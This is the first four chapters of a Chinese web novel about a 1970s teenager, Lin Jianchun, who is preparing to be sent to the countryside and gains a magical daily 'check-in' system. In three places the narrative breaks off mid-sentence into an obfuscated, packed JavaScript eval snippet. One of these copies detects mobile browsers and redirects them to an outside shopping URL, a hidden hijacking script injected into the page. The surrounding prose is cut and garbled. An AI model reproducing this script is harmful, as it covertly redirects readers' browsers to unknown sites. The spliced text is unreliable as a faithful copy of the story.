《啊?就我土著吗[七零]》 1. 下乡? 林见春沾了点浆糊将邮票贴好,扭头一看,一起来的唐英还在往信封里头塞糖票。 “我记得前两天婶子还说要给你侄子买糖吃,怎么这票转眼就到你这儿了?” 唐家婶子并不是精抠的人,只是这年头想吃口糖也不容易,唐英敢不经同意随意动用家里糖票,回头指不定得挨上一顿好打。 自家老娘的性格自己清楚,听懂林见春言下之意,唐英的肩膀忍不住瑟缩了一下,不过这种情绪很快就被胆气冲散,决然地沾了浆糊贴上邮票,连同林见春那封信一起投进了信件箱。 “我这可是寄过去慰问战士的,我妈指定不能打我!” 海上防卫向来艰辛,今年刚翻过年头,海城那边的摩擦就愈演愈烈,这几天更是听说快打起来了,所以不少学生和居民自发来邮局寄信、寄东西,一来慰问,二来也是让海城那头的战士知道大家伙儿都盼着他们平安。 林见春也不好说她这种行为是好是坏,默默叹了一口气,见后面还有不少人排队,只能先拉着人出去。 唐英也不想在外面说自家亲妈的小话,出了邮局就挽着林见春一起回家属院。 “别说这了。你三哥是怎么回事?” 林见春抿了抿嘴,低着眼不知道从何说起。 家里最近不太安宁。 一是因为海战。 大哥剑锋16岁参军,十年来一直在海城驻军,去年年底刚升任中校,翻过年头就申请了家属房,大嫂方巧玲得了信,没两天就收拾好行李去了海城。 这会儿大嫂该是已经在海城安顿好了,可海上真打起来,大哥不可能不出战,大嫂一个人在那边也不知道稳不稳当。 二是形势问题。 爸妈都是老革命了,只是爸爸早些年伤退,如今任职公安分局档案科科长,属实是个闲差,但妈妈是红旗街道的妇女主任,平时不少居民觉得妈妈多管闲事,且她投身革命之前是银行行长的外孙女…… 这两年风声越来越紧,如果不是大哥越升越高,二哥那边看起来也是贡献显著,他们一家子恐怕早就被浪潮淹没了。 这一点是没办法跟外人言说的。 相较前两个问题,第三件就显得没那么严重了。 二哥建华跟三哥建业是双生兄弟,但从外貌来看,他们一个像爸一个像妈,性格也是截然不同,听大嫂说,这是因为他俩属于异卵双胎。 别家的双胞胎是什么样的林见春也不清楚,但同样的16岁,二哥被老校长推荐去了研究所,三哥却只勉强上了个高中,好不容易熬到毕业,正赶上下乡支援的风口。 三哥不想下乡,在家又哭又闹,爸妈实在怕他去了乡下反倒闹出事来,所以花800块钱买了个罐头厂的正式工让他留城。 二哥最初去研究院时音信杳无,也是近两年来才有人以二哥的名义往家寄了钱票,说是成果奖励,可见二哥在研究院应该做得不差,家里唯一操心的就是他的婚事,担心十年八年的回不来,没人替他张罗给耽搁了。 同样的二十出头,三哥在罐头厂混日子,几年下来还领着二十几块的工资,二哥却有了成就,每年寄回来的钱票均摊下来一个月得有七、八十,这就叫爸妈看三哥越发不顺眼了。 当然,再不顺眼日子也过下去了,真正闹起来还是因为翻年后三哥爆出来的事儿—— 他瞒着家里跟付家的二姐退了婚,还500块钱贱卖了罐头厂的正式工,扭头换成了废品站的临时工。 老林家在城里头扎根二十来年了,大哥大嫂是海城那边的领导介绍相亲,没叫爸妈操心,所以说亲说亲,全都瞄准了留在家里的三哥和她。 三哥不着调,说亲没那么容易,也是因为他在罐头厂做了正式工,大哥、二哥的好消息又接连传回家里,妈才费劲巴拉地给他说成了样貌、性格都好的付家二姐,这会儿亲事说退就退,工作说卖就卖,好悬没把爸妈气得倒栽。 这种事情是没办法瞒过家属院那些婶子阿婆的,只是这些婶子阿婆全然领会偏了,误以为三哥这是宁愿贱卖工作也不肯让她接了班留城,再加上她这大半年也拒绝了好些到家里头给她介绍对象的,传来传去,就成了她心高气高、三哥心重自私。 明明是两件完全不挨边儿的事。 “三哥是有别的打算,只是付二姐那边什么也没说,我们家里也不知道他们到底是怎么退的。” 唐英却撇了撇嘴,“可你三哥明知道还有半年你就毕业了……” 林见春有些无奈,“三哥在罐头厂干的也是体力活,我在家里过的什么日子你又不是不知道,那份工我是如何也干不下来的。” 她虽然是老林家的独女,但这一片儿谁不知道她只是爸妈领养的战友遗孤? 可爸妈打小就骄养她,虽不至于惯得她行事无章法,但苦她是一点儿没吃过的。 早年爸妈为了拉扯四个孩子长大确实也紧巴过,但自从大哥在海城站稳跟脚,之后的津贴大多紧着往家里寄,加上二哥离家,爸妈又涨了几回工资,家里就再也没缺过糖、肉。 “那你毕业之后打算怎么办啊……你不是不想为了留城而结婚吗?” 唐英也挺了解林见春的,嘴一张就点到了关键。 这两年下乡的知青越来越多,每年毕业的高中生大部分都没办法找到工作留城,而安排插队的条件也越来越差,所以很多女同学为了留城,也只能将就着找一个工人结婚。 “……三哥的意思是我下乡也不用吃苦,去乡下待几年,多读点书,指不定什么时候就能重新考大学了。” “……”唐英也是无话可说了,好半天才结结巴巴地劝她,“实在不行就给你大哥写封信,让他帮你在海城介绍一个靠谱的。” 她们都才16,生日一个在年中,一个在年尾,这年纪想找适龄的军官结婚指定没啥可能,但结婚之后就是军属,留城照顾老人也是无可厚非,所以不是非得找个可以让家属随军的军官。 林见春不愿意。 爸妈、哥嫂都是二十出头结的婚,林见春私心也是不想太早结,所以无论唐英怎么劝,结婚这条路对她来说都是不可能的。 不过唐英也是一心为她,所以林见春只是笑了笑,不再回应这个话题。 好在家属院离邮局不远,两人没走多会儿就到了家属院,这个话题自然不用再继续。 如今的职工家属院是几个厂和街道合建的,除了大门两侧的安保室是平房,院里头就是五层高的楼,每层4户,每户都是三室一厅的格局,唯一不方便的就是没有私厕,要方便只能到楼梯架空层的公厕。 这样的楼院里一共四栋,以1、2、1的格局排成凹字形,四栋楼都是单独的门,入夜之后会有楼长拿钥匙来锁。 老林家所在是左侧那一栋的302室,跟唐英所在那栋楼遥遥相对,所以进了院门两人就道了别各自回家。 家里一共两个大人、四个孩子,三室一厅的格局也是不够住的,所以小时候林见春也是跟二哥三哥一起睡高低床的,直到她满了7岁,二哥三哥才被赶到客厅睡上了长凳。 等大哥入伍,二哥三哥带着高低床搬进了大哥的房间,再等到大嫂嫁过来,二哥已经没在家里,大哥的房间就又收了回来给大嫂住,惹了爸妈不顺眼的三哥继续在客厅睡长凳。 这会儿大嫂已经去海城随军,短期内是回不来了,但结了婚终究是不一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跟林建业一样,方巧玲也觉得她最好能去乡下待几年,其中原因在信件中不好写明,也就没多费墨水长篇大论的劝,只是多写了一句每个月会给她寄钱票,所以安心过去,且当换个安静的地方继续学习了。 林正长叹了一口气。 方巧玲三年前刚嫁过来时是个十分沉闷的性子,家属院里那些嘴碎的时常拿她嚼舌,林剑锋平时又不在家,当爹当妈的总是担心这媳妇儿闷出病来,将来撑不起他们这个小家。 没想到短短半年时间,方巧玲不仅一概从前闷不吭声的性情,还直接走向另一个极端,丁点儿闲话都听不得,若是哪个嘴碎的惹到她面前来,少说也得挨上一两个巴掌才算完。 眼看闺女也要毕业了,一个两个的都觉得该让妹子去下乡,可林正舍不得,冯雪华也放心不下,然形势如此,他们两个老的也实在没啥办法了。 “真下乡的话,想回城可就难了。” 林见春知道。 这些年下乡的,真能回城的少之又少,其中不乏全家脱了层皮才搭上关系往城里调的,但大多数都认了命,甚至还有不少人在乡下结了婚安了家。 这两年林正和冯雪华的处境属实谈不上好,林见春不想太劳累他们操心。 更何况她对下乡本身没什么意见,且始终相信黑暗终究会过去,说不定她真的有希望像三哥和大嫂说的一样,在乡下安心读几年书,再趁着东风,考上大学回城跟家人团聚。 “既然决定了,一会儿吃完饭我们再商量下你下乡的事情。” 2. 600 冯雪华幼时是家中的大小姐,青少时随家人一同投身革命,人到中年又忙起了街道办的妇联工作,做饭方面自然没怎么投入心力,所以家里吃饭一向是林正动手,林剑锋、林建华和林建业三兄弟大了之后,掌勺的活又交到了他们手里。 这些年大哥、二哥不在家,在外人眼里“混不吝”的林建业也没让林见春沾油烟,所以林正一说吃饭,林建业就老老实实地钻进了厨房,手脚麻利地煮了一锅面,配上早上提前准备的卤子,一家人围坐桌前,沉默地吃了简单的一餐。 吃过饭,还是林建业洗碗。 林正端着茶盅喝茶漱口,冯雪华则拿了家里的账本,把打算摆到了明面儿。 在县城扎根多年,一家人的工资固然可观,但实在耐不住用——老林家的账本上除了收入和开销家用,还记录了这么多年来林正和冯雪华接济战友遗孤的账目。 早些年,这个账本上的数字几度归零,也是5年前林建业入职罐头厂开始,林正和冯雪华上调的工资、林剑锋寄回的津贴加上林建业几近于无的工资,账本上的数字才慢慢上涨。 3年前方巧玲进门,林正和冯雪华不想亏待,从账上划了500块做彩礼,方巧玲不要手表跟收音机,又折了300块贴补,只购置了自行车、缝纫机,自此,账本上的余额又只剩下200来块。 不过这笔钱花出去没多久,林正的工资就涨到了54块。 加上冯雪华的32块工资、林剑锋雷打不动每个月往家寄的80块津贴、林建业抠抠搜搜才上交的10块钱,除掉日常开销,老林家每个月稳打稳地能往账上添个130来块。 这两年林建华那边的人也先后给家寄了500、400、500三笔奖金,所以这个账本的收入总账已经成功突破了5800块! 当然,家里现在是没这么多钱的。 林正和冯雪华这三年往战友老家寄出的钱就有3600块之多,再减掉一家子穿衣、买鞋、林见春的学杂开销,账目上也就只剩2200块了。 “这回你大嫂去海城,我跟你爸做主,让她带了1000块过去,毕竟这些年家里的钱多是你们大哥寄回来的,现在小两口要安家,手紧也不方便。” 林见春对此是没意见的,倒是厨房里洗碗的林建业耳朵尖,扯着嗓子就要爸妈给他也分一份安家费。 “我贡献不大,我只要二百!” 林正一听,恨不得一棒槌把这儿子敲晕过去。 冯雪华是懒得理这小子,默了默,继续跟林见春交底。 “剑锋和巧玲在一块儿了,接下来就得养自己的孩子,所以你大嫂临行前,我也交代她过去之后叫你们大哥别再往家里头寄太多钱,这回你们大嫂回信也说了,从这个月开始,每个月往家寄50块,等你年中毕业去下乡,再改成往家寄30,往你那儿寄20。” 林见春刚想说太多,冯雪华就握着她的手轻捏了两下。 “一旦下乡,也不知道什么时候才有机会回城,家里不缺钱,爸妈总不能知道下乡苦还叫你去吃苦。” 林正也是这个意思,点头附和冯雪华。 “剩下的钱里头还有200是……你爸,你爸当年留下来的抚恤金,到时候你一并带去,实在做不动农活就跟乡里的人商量,不管买粮还是怎么,能不吃苦就不吃。” 林见春垂了眼。 她3岁时懵懵懂懂地来了林家,但自从她记忆清晰之日起,家里的人就没瞒着她是烈士遗孤的事实,只是她比其他孩子幸运,被林正和冯雪华接回家养着,从来没怎么吃过苦头。 200块钱乍一听蛮多,可这十几年来爸妈花在她身上的钱何止? 自家养的孩子自家清楚,林正和冯雪华都知道林见春不想接这钱,可心里头不放心,这钱最后无论如何也是要让她带走的。 冯雪华顺着林见春养得乌黑的长发摸了摸,揭过这笔钱,又说起别的。 “还剩1000,得留着给你二哥三哥。你二哥那头我们联系不上,所以你下乡的事儿估摸着也没法知会他,不过你二哥打小就爱带着你玩儿,我和你爸商量了,到时从他那份儿再给你支200块,算是你二哥的心意。至于你三哥……” 不提还好,一提林建业,冯雪华就觉得脑壳疼。 “……你三哥不着调,卖工作剩下的钱也没交回来,所以1000里头你三哥只占400,不过既然他刚说他只要二百的安家费,那他那份儿也支200给你。” 林见春想哭又想笑,鼻子一痒,没来得及说话,先打了个鼻涕泡。 冯雪华没忍住笑了一声,林正也神色温和地看着她,惹得她面颊一热,什么钱多之类的推辞也没法再继续说了。 “行啦,别的就不说了,只一点,家里每个月的开销你是清楚的,你三哥现在那份工也拿不到几个钱,每个月给家里交10块钱顶天,到时候爸妈就不单独给你贴补了,等你二哥那边再有钱票寄回,爸妈再想办法给你换成需用的东西给你寄过去。” 老林家基本没怎么亏过自家人的嘴,所以生活开销均摊下来差不多得一张嘴8块钱,平时发的粮油糖票都没个剩。 而林正和冯雪华还要往各地寄出,每个月雷打不动的100块,等她一走,大哥那边寄回家的津贴一少,家里盈余每个月就只剩个几块钱,再想贴补她也只能等着二哥那边的奖金。 林见春眼眶发热。 600块钱在当下已经算得上巨款了,大哥大嫂每个月还给她贴补20块,完全能支撑她在乡下不干活纯买粮吃,再让二哥那头多贴补一份,她得多厚的脸皮啊? “爸,妈,大哥大嫂给的已经足够了,下乡之后公分我能挣多少算多少,那600块我也存起来,尽量不动。” 冯雪华连“欸”了几声,搂着林见春又亲热了一会儿。 “行,那咱们都不多说了,回屋早点歇着,等你放假我们去趟银行,单给你开一个存折。” 林见春轻轻“嗯”了一声,招呼过爸妈、三哥,也就回了屋。 学校二月初放假,再收假归校得等三月了。 方巧玲随军之后,白日里就林见春一个人在家,所以简单打扫了一下家里,她也就锁门出了家属院,一路溜达着去废品站找林建业。 林建业做临时工的废品站就在他们红旗街道辖区范围内,只是离家属院比较远,正处在红旗街道跟四方街道相接的地方,林见春很走了一会儿才抵达,跟守门的大爷打过招呼进去,没走几步就看到林建业正跟另外一个正式工大爷各占了一个躺椅悠哉哉摆闲条。 林建业早上出门那会儿就知道林见春在家闲不住,所以叮嘱了没事做就来这儿找他。 “大爷,这是我家小妹,叫见春。” 又努了努下巴,让林见春叫人“许大爷”。 林见春抿着唇笑着招呼:“许大爷好。” “你好,你好。” 林建业乐了,呲着个大牙跟许大爷多介绍了几句。 许大爷是个和善人,心知一个穿着虽不华美但整身儿衣裤没见个补丁的小姑娘不会平白来废品站这种地方,又陪着林建业嚼了几句,就摆手打发兄妹俩边儿玩儿去。 林建业叫林见春过来还为那件事儿。 “哥给你弄了一套书,比你学校发的那些讲的要深些,一会儿你藏包里带回去,在家躲着看,到时候带下乡也藏着点儿,别叫其他知青看见了。” 这套书其实也就四本,其中一本是物理和化学的合集,里头的内容不像课本,反而像是习题讲解。 林见春翻了几页也觉得新奇,眼神亮晶晶地看向林建业。 “三哥,这套书是哪位老师新编写的吗?” “对,那老师姓程,你别嚷嚷出去了。” 红旗街道和十方街道的学生都在同一所学校读书,校内有好几个姓程的老师,不过老教师没两个,年轻老师的能力她又不清楚,所以干脆不多想,老实点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993314|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头应下了林建业。 “下乡别闲着,把这几本书读透咯,来年高考指定能上最顶尖的大学。” 林见春其实没多远大的志向,但多读书总没错,三哥说的这些话能听。 不过林见春还是有些好奇。 “三哥,你为什么会到这儿做个临时工呀?” 别说什么吃不了苦。 朝夕相处十几年,林见春很清楚自家三哥不是吃不下苦的小混混,所以三哥这么做一定还有别的原因。 林建业却不太想说,又或者是不知道从何说起,所以没多纠结,就按住林见春的脑袋带着她往后院去。 “你可别小瞧这份工作,在这儿可太长见识了。” 这几年大家都不好过,这废品站的后院里堆了不知道多少以前叫人仔细看顾的老物件,不过能送来这儿的基本没几个完好的,林建业指了几件据说是当年宫里头流出来的精品,可惜无一都是碎片。 “三哥,你怎么认识这些东西?” “小瞧了你哥是不?你哥虽然读不进去书,可眼神好使,脑子也转得快,刚你见过的那个许大爷可是这方面的行家,随便指点我几次,我就能学过手五分功夫!” 这个林见春也信。 不过她没叫林建业看穿,只漏了个“你看我信不信”的表情,兄妹俩就嘻嘻哈哈地搏了几个来回。 废品站平时没什么人,不过也不是全然没有打着主意来捡漏的,兄妹俩拿完书逛了几圈出来就撞见了正跟许大爷拉扯的生人。 许大爷气得够呛。 早几天X委会那些红袖章送了一批东西过来,不过基本都砸得没眼看,所以清点之后,这批东西就堆在了后院门边上,等着哪天街道办的斗篷车空出来了再借车运出去丢掉,哪晓得今天撞见个憨货,非要从这堆渣子里头寻宝! “老头你别跟我犟!反正那堆东西你们早晚也是要丢出去的,大不了一会儿我翻完给你拖一部分出去丢,还省了你们的力气!” 想翻渣子堆的人表情看起来不太正常。 林建业快步过去用自己的身体挡了挡许大爷,又给了林见春一个安抚的眼神,这才吊儿郎当地把这人从头到脚扫了一遍。 “你是哪个街道的?我们怎么没见过你?” 这人三十出头的年纪,身上穿的衣服也不知道哪一年做的,全身上下没几块儿整料,还洗得发白,看起来像是会一言不合就打人的末路之辈。 如果在场只有林建业自己个儿,又或者林见春今天没来,他高低得让这人知道吃饱饭和吃不饱的区别,毕竟小妹回家告状事小,真给她伤到了家里头才是要翻天。 这人听到质问却并不把林建业当回事,鼻孔急促开阖,眼珠子瞪得像要突出来。 “你管我哪个街的!都说了!我翻完就给你们拖出去丢!” 林建业越看越觉得这人不太对劲,使了个眼神让林见春到自己身后待着,这才让了让位置,顺带拉着许大爷也让了两步。 “那你去,一会儿不拖走我再跟你掰扯。” 许大爷气过之后其实也反应过来这人的不对劲了,林建业在前头挡了一会儿,他自然也冷了下来,只是老头气性大,等人往后院一钻,他就支使林建业在这儿盯着,扭头就拿了钥匙去把平时放好物件的屋子从内给锁了。 “你先回家,一会儿那人走了我也差不多下班了。” 林见春有些犹豫。 她这些年虽然一直在读书,家里也没让她干过什么重活,但就跟林建业说的一样,吃饱饭和没吃饱的区别是很大的,加上林正和冯雪华以前的经历,家里几个孩子都是受过训的,所以像这种身形瘦削、一看就没吃过几顿饱饭的人,她虽然不至于轻易制服,却也能给林建业打个帮手。 林建业当然知道自家妹子有几分能力,但是么,能不沾边儿最好,所以给了个“安心”的眼神,就推着林见春出了废品站。 林见春没法,只能先回家去。 3. 脑袋坏掉了 林见春很难安心。 好在林建业没在废品站耽搁多久就回了家,看起来也不像动过手的样子,这才让林见春松了一口气。 “三哥,那人没闹事哇?” 废品站是没有食堂的,所以林建业都是回家吃,他的工作又比冯雪华轻松,所以林正中午吃食堂,他就先回家做三个人的饭,等冯雪华回家正好能赶上吃。 林建业在灶头忙活也不忘回林见春话,“那人就是个纸老虎,没翻到东西就灰溜溜走了。” 在疯子面前可不好争话语真假,林建业没明说,林见春也估摸着那人没像承诺一样把渣子堆清走。 不过没出事就好。 “三哥,废品站真能掏到宝吗?” 林建业“哼”了一声,在煲着稀饭的锅里搅了搅,像是突然想起什么似的,把勺往林见春手里一塞,“等着。” 林见春不知道林建业说的是哪一出,缓速搅着锅不让米粘底,没多会儿,林建业就从客厅那堆东西里翻找出一个不怎么圆润、只有大拇指指甲盖大小的绿珠子,献宝似的塞给了她。 “这什么呀?” 林见春边问便把东西举到眼前。 这绿珠子看起来跟玻璃珠似的,看起来有点透光,珠子里头似乎还有些杂质,林见春实在看不出哪点好。 “那人翻的那堆东西实在稀碎,如果今天没闹这一出,我还想不起来这颗珠子,瞧那人疯魔的样子,这珠子兴许有点意思?” 其实林建业也没瞧出个所以然来,会留下这颗珠子纯是当时下意识的作为,现在再叫他看,他估计会有多远丢多远。 听林建业这么说,林见春又仔细看了看。 也不知道是心理作用还是什么,再看这珠子,里头的光竟然开始无规律的变幻。 林见春心里觉得奇怪,眨了几下眼睛正待确认,脑子却是突然一懵,只听到林建业慌张的声音,还没听得真切就脑袋一沉,彻底失去了意识。 林见春不知道自己晕了多久,意识重链时脑子里是一片杂乱的声音,像是收音机收不到台时的杂音,吵得她心烦。 不过这阵声音也没持续多久,她感觉有手摸了摸自己的脑门,紧接着,这些杂音就渐渐褪去,直到一阵清晰的声音响起。 「签到系统绑定错误,正在尝试系统转移。」 声音听得真切,林见春也逐渐感受到光,费劲巴拉地撑开眼皮,来不及细想那声音说的是什么东西,就见冯雪华流着眼泪,一脸心疼地看着她。 “……妈?” 冯雪华连应了两声,又掉了两行泪。 “昨天你三哥带你干嘛去了?怎么突然晕倒了?” 晕倒这事儿可大可小,林建业也是吓了一跳,连忙把人送到医院,医生前前后后检查了个遍,结果什么问题都没查到,只能满脸尴尬地开了个住院条,让人留院观察。 反应过来自己是在医院,林见春也懵了一下,后知后觉冯雪华说的是“昨天”。 “妈,我晕了一天一夜?” “是啊!这到底是怎么了?医院也没查出病因,你爸去给你联系以前认识的老中医了,等人来了再好好看看。” 林见春其实没觉得自己哪里不舒服,但依着冯雪华的性格,这事儿不出个结果没法安心,所以林见春老实闭了嘴。 人醒了,冯雪华也没那么慌了,抹了一把泪,见林见春面色红润,心头也安定了下来。 “你再躺会儿,别下床走动,妈给你买点吃的去。” “好。” 冯雪华走得快,病房里没别人,林见春才沉下心来回忆之前的声音。 那道声音不太像真人的声音,有点儿收音机失真的感觉,而且刚才病房里除了她就只有冯雪华,所以说这话的人指定没在这儿。 结合她昏睡一天一夜的情况,难不成是在她昏睡期间意识不清时听到的?只是意识有些错乱,这才把那声音当成了刚刚出现的? 林见春百思不得其解,觉得头痒,也就抬手挠了挠额角。 然而挠了没两下,那道失真的声音就再次出现。 甚至,这次的声音是直接在她脑子里出现的。 「系统转移失败,尝试联系主系统。」 「系统链接失败,尝试数据转移。」 「数据转移失败……」 「签到系统绑定成功,请宿主跟随提示完成新手指引。」 失真的声音落下,继而响起的就是清脆有节奏的滴答声,随之,林见春的视线正前方出现了一个近乎透明、但完全不会降低视觉效果的方屏,方屏上显示了一个像表盘的圆形针盘,指针旁还有一个绿色的三角,一闪一闪地提示她去转动指针。 「请宿主跟随提示完成新手指引。」 林见春深吸了一口气,盯着指针不知道该不该转。 等系统又提示两边,她才屏住呼吸,抬手接近。 然而这方屏似乎也是长在她脑子里的,伸出的手毫无阻挡地穿过了针盘,她不信邪地左右摆动了几下手,这才确定这方屏真是长在她脑子里的! 完球! 她的脑袋好像真的坏掉了! 林见春放空了一会儿才重新看向那枚绿三角和指针,可她实在不懂应该怎么去“转动”,聚精随着针盘扫视一圈,没想到视觉一动,绿三角消失,指针也瞬间动了起来。 指针先急后缓,没一会儿就停了下来,随之而来的是一个像绽放的烟花似的画面,画面消失之后,针盘上出现了一个小小的礼品盒。 这个礼品盒花花绿绿的,别说街道供销社,就是百货大楼和友谊商店也没有这样的包装。 林见春根本想象不到这个小小的礼品盒里装着什么东西,好在这个莫名出现的“系统”没有故弄玄虚,这个礼盒无需她亲手拆开,只一会儿就自己解体,徒留下一个非常普通的白色药瓶。 绿三角再次出现,这次是指引林见春查看物品说明。 精力汇聚在瓶身,方屏就对应变幻了背景,针盘消失,取而代之的是白色药瓶和一长串普通文字。 林见春快速扫阅,发现这个药瓶装的是10片阿司匹林,可以用于退烧、镇痛、抗炎。 林见春大感震惊,下一秒,说明消失,绿三角再次指引她进行下一步。 这次,方屏右下角多出了一个包裹样式的图案。 绿三角在包裹图案上方跳动,林见春依旧聚精去看,这次轻易地就打开了新的内容。 「系统功能受损,当前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没事,兴许是这段时间累着了,现在是假期,你就在家歇着,有事跟爸妈讲,再不济还有你三哥帮你跑腿。” “……” 她平时就读书,这几天放假了也是擦擦灰,累什么啊。 不过现在显然不适合驳冯雪华的话,所以林见春点点头,老实把她买回来的饭菜吃了个干净。 林正那边很快就把相熟的老中医带到了医院,只是这几年这些老人也过得不好,所以人是打着探病的旗号来的,坐在床边客套了几句,等护士没关注了,老人家才摸了脉。 这一摸,摸出来个身强体壮。 “你们家闺女养得挺好啊。” 光看这脉象比一般男孩儿都壮实。 林正和冯雪华本来就没亏过孩子,有这个结果很正常,但这回林见春昏睡的时间太长了,林正难免操心。 这事儿老人家也有说法。 “读书仔平时费脑袋,这一放假,脑弦儿一松,睡得沉也很正常。一天一夜确实久了些,不过孩子还小,脉象强健,医院这边不也没查出什么问题吗?回去养几天,只要不头疼发烧的,该也没啥问题了。” 一家三口道了谢,林正又把人送了回去,冯雪华也该去上班了。 不过冯雪华是真不放心林见春一个人待着,托了护士关照,跑了一趟废品站把林建业叫出来,拎着耳朵交代了一番才匆匆回了单位。 4. 新手指引 林建业是临时工,许大爷又好说话,请假很是容易,所以下午林建业直接没去上班,就在医院陪着林见春,给她端端水、削削苹果皮。 “你真没哪里不舒服吧?” “真没。” 林见春三两口把苹果块儿吃掉,眼睛往病房门外看。 “三哥,要不你带我出去溜达一圈?” 林建业严词拒绝。 “你还是先老实待着吧。” 这一天一夜林建业也是吓了个够呛,起初以为林见春是病了,可来了医院医生又检查不出毛病,他就不禁往别的方向胡猜。 昨天早上林见春干过什么他都有数,如果不是病倒,那就只能是因为废品站那场事儿。 但他清楚当时那人并没有接触到林见春,之后一路上也都正常,再结合他所知道的一些不可言说的东西,不消说,肯定是那珠子坏了事。 “当时你一下就倒了,我也没注意那珠子滚哪儿去了。昨晚我自个儿在家前前后后都翻了两遍也没找到,你有印象没?” 林见春愣了一下,不过很快她就跟上了林建业的思维,意识到她的脑子会“坏掉”多半是那珠子干的。 不过这事儿能跟三哥细说么? 林见春垂着眼,心里十分纠结。 林建业一看她这表情哪还有什么不明白的,双手连忙一摆,“既然你心里有数,哥就不跟你掰扯了,不过那人昨天没能得逞,应该不会那么快就放弃,这几天别出去瞎转悠了,免得出事。” “……” 林见春其实一直都知道家里的哥哥和嫂子不太寻常。 年仅26岁的正团级可以说是敢闯敢拼,但个人一等功毕竟不是那么容易拿到的,十之八九都是烈士才有机会,大哥作为参加过实战的战士,拿了一等功还活到现在,拿到中校实权无可厚非,所以在当下看来也不算太过离奇,顶多就是有些打眼。 除开大哥,家里还有个3岁过目不忘、10岁手搓半导体、16岁直接入职研究所的二哥,相较之下,只是思想有些不合时宜的三哥就属实有些普通了。 三个哥哥不寻常,后来的大嫂身上也有些奇异的事情发生。 一开始的大嫂沉默寡言,不屑与任何人多话,她和大嫂相处的时间远比爸妈多,能清楚的感受到大嫂并不满意这门亲事,只是出于道义,日常尊重结婚对象的父母、善待家中手足。 没想到,仅仅半年时间大嫂就大变了样,不仅对爸妈热情了许多,连带对她和三哥也多了几分真情,再让她感觉不到冷漠和伪装。 她知道,大嫂身上一定发生了什么他们没有察觉的事情,就像三哥一样,带着一种无法言说的神奇。 ……就是变化过于大了,导致家属院的婶子阿婆对大嫂再没什么好话。 说来,“掌公主”这个歪名也不知道是真出自三哥的嘴,还是三哥从别的地方听来的。 今天之前,林见春一直以为自己是这个家里最为普通的一个孩子,没想到昨天那么一倒,她也成了“不寻常”的存在。 知道怎么回事儿,林建业就没听冯雪华的话把林见春看牢,带着人出去跟护士打了个招呼,兄妹俩就这么出了医院。 林见春差不多已经摸清了方屏怎么放大变小,只是不完成“系统”所说的指引,那条提示就一直在那儿,像是无声的催促,直到兄妹俩一路来到了医院附近的街道供销社,方屏正中再次出现针盘。 「检测到新地点,请宿主再次尝试签到。」 这次林见春没有犹豫,再次让指针转动,很快,新的礼品盒呈现,开出了一袋5斤重的大米。 “!!!” 看着自动收入“包裹”的大米,林见春震惊到失语。 “咋了?” 林见春深深地看了林建业一眼,不知道该怎么跟他说。 林建业多机灵啊,虽然未知全貌,却也当即给了她一个“我懂”的眼神。 “走,再去其他地方试试。” “不行……得明天了。” 方屏上,绿三角的指引已经结束,只留下几行提示。 「新手指引已结束。」 「系统功能受损,暂只开放每日签到及背包功能。」 「签到系统仅支持1次/日,每日6点更新,请宿主善用系统,遵守系统使用守则。」 提示之下是简短的的《系统使用守则》,林见春快速看完,发现这些条款无非就是劝诫“宿主”不要过度依赖“签到系统”,更不要利用“背包”去做违反所在世界所行规则的事情。 再就是“签到系统”的补充说明。 绑定系统的“宿主”每天可以“签到”一次,每次“签到”可以随机获取一件符合场景的物品。 像医院可以获取药物和医用器械甚至桌椅案柜,而街道供销社就只能获取农产品、日用品等生活物资甚至摆放货物的展架货柜。 自然,无论医院还是供销社都不只有摆在明面儿的这些东西……钱票带有编码,一切非正常发行的钱和票都是破坏规则的,所以哪怕去了储蓄所,最多也只能获取铁皮柜。 这样“签到”所得奖励并不是直接从这些地方偷取,至于具体是怎么来的,说明里没有写明。 除此之外,就是“系统”的开关方式——轻触两下额角。 ……真的过于随意了。 不等林见春解释,林建业自个儿托着下巴想了想,没想出来自家妹子的“奇遇”是怎么回事也就算了。 毕竟各人自有缘法,老林家的传统就是不多管闲事,林建业也一样,所以转手按住林见春的脑袋,直接带着她转了个方向。 “那回医院歇着吧。” 林见春表情变幻,也知道林建业不问就是真的不打算追根究底,摸了摸额角,方屏果然消失无踪。 又在医院住了一晚,得了医生可以出院的准话,林见春终于松了一口气,急慌忙张地收拾好东西跟着来结账的冯雪华回了家。 冯雪华是临时请了个假,把林见春送回家之后就得回单位去,临出门前又抓着她叮嘱了好一会儿。 等家里只有自己一个人,林见春躺在床上打开了方屏。 他们家也是一个“可签到地点”。 家里有的东西林见春一清二楚,所以今天这次“签到”机会纯是打着一天一次不要浪费的心态。 不过,等指针转停,一床崭新的6斤重棉花被自动放入“背包”,林见春也是实打实地高兴了起来。 下乡要准备的东西很多,棉被就是必需品之一,到时候爸妈肯定得掏钱给她置办新的,现在靠签到得了一床,完全可以跟爸妈说她自己买的,免得家里再顶风去外头换票。 至于其他,她的需求不大,每天一次“签到”机会足够她在乡下过得滋润,到时候大哥大嫂给她寄的钱可以全部存起来,凑了整再一起寄给家里,免得爸妈急用却不趁手。 做好打算,这段时间压在心底的笔笔账这才变得轻飘起来,林见春嘴角咧出了一个笑,满心轻松地翻看书本。 她本就是学生,所以三哥送她的这套书现在读起来也不是特别费劲。 